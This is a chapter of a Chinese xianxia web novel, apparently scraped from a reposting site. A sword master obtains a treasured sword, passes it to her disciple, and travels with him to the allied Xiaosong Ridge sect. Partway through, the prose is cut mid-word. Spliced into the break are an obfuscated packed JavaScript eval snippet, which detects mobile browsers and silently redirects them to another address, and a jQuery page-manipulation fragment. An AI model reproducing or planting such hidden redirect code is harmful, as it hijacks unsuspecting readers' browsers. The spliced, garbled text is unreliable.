上官今沉思片刻,而后抬履跟上。
“师尊。”
“做什么?”殷吟斜他一眼。
他斟酌着心中的话,预备开口,却见远远处星光点点,不在天上,看着却像是有人提着灯笼。
谷风和着人声传入他耳中:“什么人在那边?”
是守夜的排班弟子。
上官今神情微动。
若被擒到,本峰的弟子倒还好,顶多按峰规领罚,戒律堂走上一遭便是。但若被逮到是外峰人,便是长十张嘴都难以解释是何缘由。
夜黑风高,不在自己院舍之中,反倒千里迢迢来到其他峰上,能是有什么好想法?
他未反应过来,身旁的人已一手握住他的手腕,拉着他朝反方向跑。
殷吟神色凝重,跑起来时发丝飘动,隐隐能嗅到花香一般的气息。她的手指叩在他腕上,带着夜间的凉意,像没指甲的猫在挠人。
上官今以为她怕被发现,四目相对,却听她低声,恨铁不成钢一般:“你笨啊,站着等着被抓?”
他被按头训了一通,只好依言认下。
远处的星星点点反应过来,也急忙运着灵力飞过来,上官今听到疾遽而来的风声,推敲着距离:“师尊,要被追上了。”
几个守夜弟子的灵力自然远不及殷吟,但殷吟未动用灵力,又要带着他,速度便慢上加慢。
眼见那灯笼越提越近,殷吟心神一动,使了个传送的术法,二人便无影无踪。
日上三竿,剑苑大门紧闭,气氛沉闷。
上官今屈指,在那繁复花纹上叩了三下,方才听到苑中传出殷吟的声音。
“进来。”
比上次多一个字,语气却未见着多好。
上官今心觉怪异,推门而入。
是在生什么气吗?
他如上次一般经过庭院,临入堂时,见殷吟又坐在那张罗汉床上,面前悬着那面双生镜,正徐徐朝外吐着清音。
他抬履进去。
“剑峰的事务会暂交给卜漪打理,她办事妥帖你是知道的,还有什么不放心的?”
殷吟正怨天尤人地绞着头发,眼见上官今进来,神色一亮,便答:“我还有个新收的徒弟呢,昨天刚应下宗门大比的战约,我不能放下不管吧?”
上官今闻言愕然,透过双生镜与殷吟那双清明的眼睛对视。
他未作声,走到一旁静默等候。
双生镜沉默片刻,方道:“那把他也带上,行吧?”
殷吟:“……”
一点都不好。
她满目怨怼地看着白发老者手中的金杯,在他那一方高山流水的园林之中显得格格不入,审美差得惊为天人。
老者摇摇金杯,将茶水饮尽:“此事确是有些仓促,你心中有气是难免,这样吧,你看看有什么想要的,只要宗里有,便允给你当作补偿,如何?”
殷吟沉默一瞬,转身去摸那本《道生宗典藏一览》。
老者飞快补充:“只允一件!”
殷吟抽出书籍,压下自己想用嫌弃的目光看进镜内的想法,手指翻动着边缘发黄的书页,细细斟酌。
半晌,她把摊开的书页展示给双生镜,怼近让老者看得一清二楚:“那我要这个。”
书中并无墨字,是纂书者以灵力将所见具象化,将琳琅满目的法宝实景储于纸中。
殷吟所指的一页是一柄剑,剑身雅致笔直,转动间流光溢彩,细看却独独闪着一色似雪的纯白。
她虽没见过多少剑,但观之的第一眼,便觉天地失色,世上无剑再比得上这一柄。
上官今未再听到老者的声音,少焉,双生镜无声合上,原先绞合转动的齿轮隐没在镜身之中,使之看起来就像一面平平无奇的镜子。
他又听到风声破空,另一面双生镜自远处飞掠入室,二者合为一体之前,镜面如水面一般漾起波纹,而后一柄长剑缓缓自其中升起。
双生镜合二为一,彻底不动了。
殷吟握住剑柄,眼中惊艳之色溢于言表。
书中没有记录苍山剑的剑鞘,眼下一见,她方发觉也是极美。花纹只覆鞘上刃处,剑身通体留白,又不叫人觉得空,无光自亮,圣洁素雅。
殷吟心中欣喜,便用剑鞘朝上官今一挑,将苍山展示给他看,语气欢快:“来做什么?”
上官今抿唇,垂眼看那剑身,瞳中不见几分惊羡:“弟子昨夜在器峰时说话没有轻重,怕师尊还在生气,便来请罪。”
殷吟想了片刻,了然点头:“你说那个啊,我都快忘了。”
她又将剑身晃动:“看,好看吗?”
“师尊得新剑如何开心,”上官今语气起伏,回想起进门时听到的那两句对话,“是把我卖了吗?”
殷吟想起老者的条件,嗤之以鼻:“你可卖不出这么好的价钱。”
上官今静默,不知是喜是悲,待她继续说。
“我要去小宋岭一趟,大概一年时间。”殷吟收剑,竖指比了个一。
上官今看着殷吟的手:“一年?”
“对,”殷吟将剑柄稍提,一指出鞘的剑身霎时焕出五彩斑斓的流光,将屋中照得通透几分,“这是对我不辞辛苦地工作的补偿与嘉奖。”
她欣赏了剑身的流光溢彩,方去看上官今,见他似乎心不在焉,不由凝眉。
“能不能认真听我说话?”
“师尊,我在听。”上官今回道。
若是正正一年,那下次见殷吟便是在临近宗门大比的时候,但若有什么变动,她回得再晚一些,怕就不止。
殷吟见他仍心神不定,走近用苍山的剑鞘敲他:“你呢,要去小宋岭,还是留在剑峰?”
上官今手背一冷,倏地回神:“我也可以去吗?”
殷吟:“你刚刚没听见吗?”
上官今默了一瞬,又再细细回想方才听到的她和宗主的零星几句交谈,思维回笼:“我去。”
“喔,”殷吟无甚表情,将苍山直接卡进他的手中,像是在处理无关紧要的东西,旋而嘱咐道,“那你回去收东西,今日未时出发。”
上官今不明白殷吟为何又不要这柄剑了,眼底漫上几分疑惑。
“我已经有了一柄剑,再多一把多少累赘,”殷吟看他,“你不喜欢?”
她的私库中要风得风,此剑本来便只是为了个长得好看讨的。自己拿着累赘,放在上官今身上便物得其所,她亦天天能见。
上官今眼中明明灭灭,而后握着剑柄的手微微收紧:“喜欢。”
未时,剑苑外,仙鹤凌空而起,驮着两人隐没入云层之中,无声无息,无影无踪。
道生宗远离人界,地处一条极深的灵脉之上,灵脉的尽头多是人间,方有源源不断的愿力化灵供养,无穷匮也。
小宋岭则不同,它不建于依地势而成的自然灵脉之上,而是直接依人间而立,近水楼台得到当地的愿力,以此立宗。
总之,这是一个与人界牵涉颇深的宗门,殷吟此次前往,便不只能看到小宋岭修者,更能接触到普通人家。
上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179676|196959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官今坐久无聊,便问:“师尊,我们为什么要去小宋岭?”
殷吟双手紧紧扯着仙鹤的光亮白毛,生怕一个不小心掉下去,闻言紧声:“小宋岭与我宗素有往来,此次也是依旧俗,每五年派一位峰主前往……联络感情。”
她美化了些许。
照殷吟所听,小宋岭虽近人间,但愿力终归不如一些深厚灵脉上生出的宗门浩荡,故而也是一个小宗门。
小宗小门,想要在灵州之上立足,获得与其他大门派一同争夺资缘的机会,便免不了要依附些什么。
小宋岭便是依附着道生宗,道生宗峰主五年拜访一次,既是维持与其的往来,也是敲打这个小宗门克己复礼,少动歪心思。
“听说那里依山傍水而建,风景怡人,很是适合剑修清修。”殷吟又道。
这些也是她从宗主那里听来的,看得出宗主想让她来小宋岭已然利诱再利诱,无所不用其极了。
上官今想,依人界而建,每日光是市井烟火气便熏人,自不适宜清修。难道小宋岭的清修是要在山中,那岂不是猴子。
不过他并未将此言宣之于口。
仙鹤已飞至小宋岭上方,底下群山连绵,青绿生动,候鸟盘绕山间,比他们的高度要低一半有余,喳喳作响。
仙鹤识路,眼见一处光秃,便压翼掠了下去,发出一声极轻快的鸣声。
再不到目的地它就要被殷峰主抓秃了,美丽不复!
殷吟被它出其不意的猝变一惊,竟真的一时力度不察,揪下它两根雪色羽毛来。
仙鹤:“……”
它慢下动作,稳稳当当落在了一行山道石梯之上,抻着脖子朝前低头。
石梯依山势蜿蜒而上,逶迤绮丽,未几步便是一个石制牌坊,极高大宏伟,螭吻盘绕两侧,双目突出,瞪视坊下人。
见仙鹤落地,坊下身着典雅的数人款款上前,眉眼含笑。
打头的二人一青一黄,一静一动。
黄衣的中年男子率先启声,拱手迎道:“许久未见啊,殷峰主!”
殷吟运气下鹤,仙鹤仰天长鸣,扑扑翅膀朝远处集聚的山雀掠过去了。
殷吟额角微抽,焕出笑颜:“许久不见,许久不见。”
上官今抿唇,很怀疑殷吟是否真的记得面前的人。
黄衣男子面无尬色:“在下小宋岭颂宗宗主宋木,这是门主青圭。”
一旁的青衣女子颔首致意,眉目含笑。
宋木收回话头:“令宗宗主已与在下传音,这位想必便是峰主弟子吧?真是丰神俊朗,玉树临风,不日必成大器啊!”
他一番豪言,身后跟从的弟子目光便齐齐落到上官今身上,像是一盘圆溜溜的绿豆。
殷吟听得想笑,转头不动声色地朝他比口型:“必成大器!”
上官今黑瞳瞳的眼睛望着她,感情真挚又茫然地眨了一下。
宋木乐呵呵地又赞几句,携着东道主的范儿,又恭身请二位贵客入内。
石阶蜿蜒而上,曲折回环,看着虽老久年迈,却不见青苔上阶,干净得纤尘不染,殷吟不禁感叹。
宋木行在其上,闻言回过半个身子:“都是小宋岭边居住的百姓自发来打扫的,我们也常常下山除附近妖魔,算是互帮互助吧。”
殷吟笑道:“这么说,贵宗与此地居民关系还真是不错。”
身后衣袂飘飘的小童们你推我搡,推了个豆蔻年华的女孩出来:“峰主姐姐,我们很多弟子的家都在小宋岭,是宋宗主允许我们入宗修行的。”